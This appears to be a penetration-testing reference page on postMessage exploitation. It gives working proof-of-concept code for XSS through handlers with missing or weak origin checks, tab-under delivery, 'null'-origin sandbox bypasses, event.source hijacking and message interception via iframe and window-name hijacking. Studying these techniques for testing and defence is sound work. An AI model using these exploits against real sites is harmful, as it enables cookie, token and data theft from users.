postMessage Exploitation
Send cross-origin messages with arbitrary data, which can easily lead to Cross-Site Scripting in vulnerable handler that fail to verify the origin
Description
The window.postMessage()
API in JavaScript allows windows, even from different origins or sites, to communicate using messages. One window can register a listener, and another with a reference to the first window can send it any message. The listener will receive messages from any location and needs to handle the integrity of those messages by itself. See the following example:
async function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
// Receive response from the child window
onmessage = async (e) => {
console.log("Response:", e.data);
};
onclick = async () => {
const w = window.open("https://example2.com");
await sleep(1000);
// Send initial message
w.postMessage("Hello", "*");
};
onmessage = async (e) => {
console.log("Received:", e.data);
// Send a message back to the parent window
e.source.postMessage("echoed " + e.data, "*");
};
The above will send a "Hello" message to the opened window, receiving the message and returning an echoed response. The original window will receive this and log the response as "echoed Hello".
Methodology
Finding postMessage uses: Use loggers such as postMessage-tracker or Burp Suite DOM Invader to find any messages an application sends while browsing the target application.
Checking sender targetOrigin: Find calls to
postMessage(message, targetOrigin)
where thetargetOrigin
is a wildcard ("*"
) or another origin that you control. If the window this method is called on is your domain, you can receive and read this message. Theopener
variable may point to your domain if the target was opened as a new tab from there. If the message is sent to an iframe inside the target page, and the target page itself is framable, you can hijack the location of this inner iframe to intercept the message before it is sent.Checking listener origins: Look for listeners registered via
document.onmessage =
oraddEventListener("message", ...)
and check if their function body verifies thee.origin
of the message correctly. This should be done against a static expected origin or the safewindow.location.origin
variable. Evenwindow.origin
is unsafe and vulnerable as explained in Bypassing window.origin using 'null' origin.Finding vulnerable sinks: When a handler uses flawed logic to verify the origin, you can send arbitrary messages to it from your origin. Use debugging with breakpoints to follow what the handler does and if the
e.data
reaches any dangerous sinks likeeval(...)
orlocation = "javascript:..."
. Remember that your data must fit the Structured Clone Algorithm which disallows sending functions, but allows a lot more like strings, arrays, objects and some more complex types (more than just JSON).Exploiting a vulnerability: After finding a vulnerable sink in a flawed origin check, write a simple HTML page on another origin to exploit it. If the target page allows it, it can be iframed without interaction, but cookies won't always be used. After an interaction with
onclick =
you may open a window to the target page and hold that reference to send messages to exploit it. See the examples below for some different exploitation techniques.
Handlers & Origin Checks
Another more common vulnerability is vulnerable handlers. If a target site creates a listener with code that does not verify the origin (e.origin
), it may parse untrusted data. If this wasn't expected, the data may end up in dangerous sinks and allow vulnerabilities like XSS or leaking data through a response to e.source
.
Finding handlers
You can find all listeners manually by checking Global Listeners in the DevTools -> Sources tab:

Another option is using extensions that automatically log every message being sent. This allows you to get a quick idea of what kind of data is being sent, and if it may be sensitive or dangerous:
An example of a dangerous handler is the following. Note that it does not verify the origin of the message, and the sent data ends up in a dangerous sink (eval
):
onmessage = (e) => {
eval(e.data);
};
An attacker can exploit this by iframing (1) the above page, or by opening a top-level window (2) to it. Then they need to send a postMessage
to this window that will exploit the sink:
const iframe = document.createElement("iframe");
iframe.src = "https://example.com";
document.body.appendChild(iframe);
// 1. Load it in an iframe, then use .contentWindow to get a reference for sending messages
setTimeout(() => {
iframe.contentWindow.postMessage("alert(1)", "*");
}, 1000);
// 2. After interaction, open a window and send a message to it
onclick = () => {
const w = window.open("https://example.com");
setTimeout(() => {
w.postMessage("alert(2)", "*");
}, 1000);
};
Notably, cookies and other resources like localStorage are not available in a third-party context like an iframe where the top-level (address bar) origin is different from the target origin. The only exception to this is SameSite=None
cookies which are readable or fetch same-origin resources without any CORS limitations.
This means that to really exploit an XSS, you need to use a window instead of an iframe because its top-level origin is the same as the target origin. You will be able to read any non-httpOnly cookies through document.cookie
, or use any cookies in a fetch()
without CORS limitations, gaining full XSS impact.
More difficult exploits
You won't always find a perfect eval()
gadget on your input. More common sinks would be similar to DOM XSS, and location = ...
where you can pass it a javascript:
URL. Think creatively about what exactly each vulnerable handler does and how it may be of use in other attacks as well, treat them as gadgets.
One thing to highlight is the fact that all data sent must only pass the Structured Clone Algorithm, this is more lax than JSON. In fact, you can send things like Error
, Date
or RegExp
. This flexibility may be useful in more complicated exploits because different types have different features and properties.
Take for example the following vulnerable handler (taken from the real world). It takes the e.data
from our message and calls a window function with that data:
var data = e.data;
if (typeof (window[data.func]) == "function") {
window[data.func].call(null, data);
}
It may look easy by just setting data.func
to "eval"
, and then providing any arbitrary JavaScript as data
. But the tricky part is that this first argument is the same object as the one that needs to have the .func = "eval"
property. Normally, an Object
is sent by the application and the called function handles the required properties by itself, but in JavaScript no such function exists that takes an object and evaluates code based on one of its properties.
The trick here is to make use of the Structured Clone Algorithm to do something that is normally impossible in JSON. We make an Array
with other properties set on it. An array's toString()
method will concatenate all its items, so an array like ["1", 2]
would turn into "1,2"
. This combination gives us the ability to call setTimeout()
with our array as its argument. It will be stringified by setTimeout
's implementation and it evaluates any strings it receives.
const a = ["alert(origin)"]
a.func = "setTimeout"
postMessage(a, "*")
Another situation that's useful to understand is using properties from the prototype of objects when you encounter your input in a member access operation (more info in Prototype Properties). The property constructor.constructor
can grant you the Function()
constructor, which once again takes a string argument to evaluate.
const callbacks = {...};
const { category, name } = e.data;
callbacks[category][name](e.data)();
const a = ["alert(origin)"]
a.category = "constructor"
a.name = "constructor"
postMessage(a, "*")
Stealthier: tab-under method
Another stealthier way of doing the above is by never letting the user see the target website, only our attacker-controlled website. To do this, we can follow the idea below:
Victim visits the attacker's website
On interaction, use
window.open
to open a new window to an attacker's page again ("2nd window"). This will gain the focus of the browser nowNow the initial window changes its own location to the target page containing a vulnerable postMessage handler, this time in a top-level context
The 2nd window will now use
opener.postMessage
as its reference to the vulnerable domain and send the exploit to the postMessage handler. The resulting XSS will now have full access to cookies etc.
// Code for 2nd tab:
setTimeout(() => {
// After the new tab is opened, send a message to its opener which will have become the target
opener.postMessage("alert()", "*");
}, 1000);
// Code for 1st tab:
onclick = () => {
// Duplicate this tab, focus will go to new tab
const w = window.open(location);
// Stealthly change the location of the old tab to target
location = "https://example.com";
};
Bypassable origin checks
Websites often protect against the vulnerabilities above by checking the message origin at each handler. It will refuse to execute the potentially dangerous code if it doesn't match the expected origin. The following common examples are safe:
onmessage = (e) => {
// Message must come from https://example.com exactly
if (e.origin !== "https://example.com") return;
eval(e.data); // Dangerous, but we can't reach it cross-origin
}
onmessage = (e) => {
// Message must come from the current address bar origin
if (e.origin !== window.location.origin) return;
eval(e.data);
}
This requires knowing the exact origin beforehand and comparing it against it, or the frame's origin being the same as the current location. Some developers make this more generic by relaxing the condition slightly, but this can quickly lead to vulnerabilities:
onmessage = (e) => {
if (e.origin.startsWith("https://example.com")) return;
// ^^ Bypassable using "https://example.com.attacker.com"
}
onmessage = (e) => {
if (e.origin.endsWith("example.com")) return;
// ^^ Bypassable using "https://anythingexample.com"
}
onmessage = (e) => {
if (e.origin.search("^https://sub.example.com$") !== 0) return;
// ^^ Bypassable using "https://subXexample.com" because "." matches all
}
Bypassing window.origin using 'null'
origin
'null'
originAnother more tricky condition to bypass is the following (source):
onmessage = (e) => {
if (e.origin !== window.origin) return;
// ^^ Using window.origin instead of window.location.origin is unsafe!
}
The above is exploitable because using iframe sandboxes, e.origin
as well as window.origin
can both be set to 'null'
. After doing so, SameSite=Lax cookies will be used to initiate the top-level request and may have placed a secret CSRF token or user data in the HTML, which can be read by exploiting the postMessage
handler. The following was a CTF challenge that required you to use this novel technique to steal another identifier causing XSS:
https://twitter.com/terjanq/status/1446500485142355972
The technique goes as follows:
Victim visits the attacker's website
Create an iframe with a strict sandbox (excluding
allow-same-origin
) to make its origin'null'
Inside the
srcdoc
of this frame, open a window to the vulnerable target page after interaction. This will inherit the'null'
origin so the source and destination are the same, which will bypass the checkAfter the message listener is registered, send a postMessage with the exploit to cause XSS in a
'null'
originUse this XSS to leak any data on the current page. You cannot access resources like cookies or localStorage, and fetches will exclude any cookies because the origin is
'null'
and SOP is in effect. The idea is to read a CSRF token on the vulnerable page and exfiltrate it for another attack
Below is an example of a vulnerable page that registers a message listener and shows sensitive content on the page (cookies directly, but this may be a CSRF token or user data):
<?php
// Vulnerable handler page contains some sensitive data
print_r($_COOKIE);
?>
<script>
onmessage = (e) => {
if (e.origin !== window.origin) return;
eval(e.data);
}
</script>
This can be exploited with a single click on the following attacker's page:
// Sandboxed iframe to create 'null' origins
const frame = document.createElement("iframe");
frame.sandbox = "allow-scripts allow-popups allow-modals allow-top-navigation";
frame.srcdoc = `
<h1>Click here!</h1>
<script>
onclick = () => {
// Open the target page in a top-level context, including SameSite=Lax cookies
const w = window.open("https://example.com");
setTimeout(() => {
// Exploit the XSS by reading the body
w.postMessage("alert(document.body.innerText)", "*");
}, 1000);
}
<\/script>
`;
document.body.appendChild(frame);
event.source
hijacking
event.source
hijackingThe .source
property of a MessageEvent is also sometimes used to check if a message came from a specific frame. It doesn't work with origins, but with window references. For example, one can check if the message came from a specific iframe:
<iframe id="trusted" src="..."></iframe>
<script>
const trusted = document.getElementById("trusted");
window.addEventListener("message", (e) => {
if (e.source !== trusted.contentWindow) return;
eval(e.data);
});
</script>
It seems pretty safe, as the iframe is made by the website itself, and often contains trusted content. However, if you can inject an Open Redirect into the iframe or if it can proxy messages to the parent, you'll still be able to send messages from there.
If the parent page is itself framable, you can become the top
and from there navigate any inner iframes to any location, including yours. That way you can also gain control over the "trusted" iframe and send messages from it that the parent will trust. This is similar to exploiting Nested iframe.
<iframe id="iframe" src="https://example.com"></iframe>
<script>
// Data to send to the handler
window.data = "alert(origin)";
// After example.com has loaded and the frame was created, redirect it to our page
iframe.onload = () => {
const inner = iframe.contentWindow.frames[0];
inner.location = "about:blank"; // Hijack the inner iframe
const interval = setInterval(() => {
inner.origin; // When it becomes same-origin
clearInterval(interval);
inner.eval("parent.postMessage(top.data, '*')"); // Send to parent from inner
})
}
</script>
event.source
null
event.source
nullThere is a way to make event.source
for your malicious message null
(first shared by Omid Rezaei). This is useful if the security check depends on this value being truthy, for example:
<iframe id="trusted" src="..."></iframe>
<script>
const trusted = document.getElementById("trusted");
window.addEventListener("message", (e) => {
if (e.source && e.source !== trusted.contentWindow) return;
eval(e.data);
});
</script>
Here, the e.source &&
part requires that e.source
is set, and only if so, will check if it is correct. That means if it would be null
, you would bypass the check.
To make it null, send a message from your own iframe that you instantly remove after sending it. The frame reference will be gone by the time the target receives the message, and cause e.source
to be null (source).
Our iframe can get a reference to the target page by saving it in a same-origin variable or through opener
. Check out the generic exploit below:
function postMessageNoSource(w, data) {
window.ref = w; // Save arguments so iframe can access them
window.data = data;
const iframe = document.createElement("iframe");
iframe.srcdoc = "";
document.body.appendChild(iframe);
iframe.onload = () => {
// Send message from within iframe
iframe.contentWindow.eval("top.ref.postMessage(top.data, '*')");
iframe.remove(); // Instantly remove it so the .source becomes null
};
}
const w = window.open("http://127.0.0.1:8000/vuln.html");
setTimeout(() => {
postMessageNoSource(w, "alert(origin)");
}, 1000);
This vulnerability can also happen if it loosely compares (==
) with a frame reference that may or may not exist, and using .?
can return undefined. This will equal the null
we can generate:
const trusted = document.getElementById("may-not-exist");
window.addEventListener("message", (e) => {
if (e.source != trusted?.contentWindow) return;
eval(e.data);
});
Leaking messages
window.postMessage(message, targetOrigin)
The first argument is for the data sent. The only requirement for this data is that it can be sent using the Structured Clone Algorithm. The second argument is more interesting for vulnerabilities as it defines the targetOrigin
. Because JavaScript doesn't know if the window's origin changed between loading the window and sending the message, this argument is another check that verifies the origin of the window you are sending a message to is the value in the string. The special "*"
symbol means a wildcard, or any origin (less secure).
If a website does not verify where it is sending a message, you may be able to receive a message that wasn't intended for you.
Nested iframe
One trick involving this idea is the fact that any origin can change the location of frames within an iframe. If we can iframe a target page that itself loads another iframe, we can change the location of this inner iframe to anything else to intercept messages. The following example uses example.com as the target domain, which loads an iframe of some other trusted page expecting a postMessage:
<iframe id="iframe" src="https://inner.example.com"></iframe>
<script>
iframe.onload = () => {
// Expects to send to inner.example.com, but wrongly uses "*" to send to any origin
iframe.contentWindow.postMessage("secret", "*");
}
</script>
onmessage = (e) => {
console.log("INNER", e.data);
};
An attacker can abuse this by using the window.frames
property to change the location of this inner iframe, and intercept the secret message:
<iframe id="iframe" src="https://example.com"></iframe>
<script>
// After example.com has loaded and the frame was created, redirect it to our page
iframe.onload = () => {
const inner = iframe.contentWindow.frames[0];
inner.location = "about:blank"; // Hijack the inner iframe
const interval = setInterval(() => {
inner.origin; // When it becomes same-origin
clearInterval(interval);
inner.onmessage = (e) => { // Listen for the leaked message
alert(e.data);
}
})
}
</script>
Window name hijacking
Instead of iframes, if the name of a window in window.open()
can be predicted, an attacker can prepare an existing window with the same name that will be reused, effectively hijacking it! If you open the target from your page and create a same-origin iframe on your page with a specific name, it will find that first and rewrite the location of the iframe, returning a reference to it. Importantly, this iframe is still on the attacker's page.
If the target page would now send a postMessage(..., "*")
to this newly opened "window", it may have been hijacked by an attacker again to intercept the message.
<?php
// Vulnerable page doesn't need to be iframable
header("X-Frame-Options: DENY");
?>
<h1>Vulnerable</h1>
<button onclick="start()">Start</button>
<script>
function start() {
w = window.open("/win", "PREDICTABLE_NAME", "popup");
setTimeout(() => {
w.postMessage("SECRET_DATA", "*")
}, 1000)
}
</script>
The attacker can now steal the secret data with any same-origin iframe. If the target doesn't allow this, errors often don't include regular response headers. Try a path like /%00
or a too-long URI:
<iframe src="https://example.com/%00" id="frame" name="PREDICTABLE_NAME"></iframe>
<script>
onclick = () => {
window.open("https://example.com");
// When the user triggers https://example.com's popup, it will be placed in
// the above iframe. We quickly rewrite it to our origin to leak the message
// that will be sent to it:
frame.onload = () => {
frame.onload = null;
frame.srcdoc = `<script>
onmessage = (e) => alert(e.data)
<\/script>`;
};
};
</script>
Last updated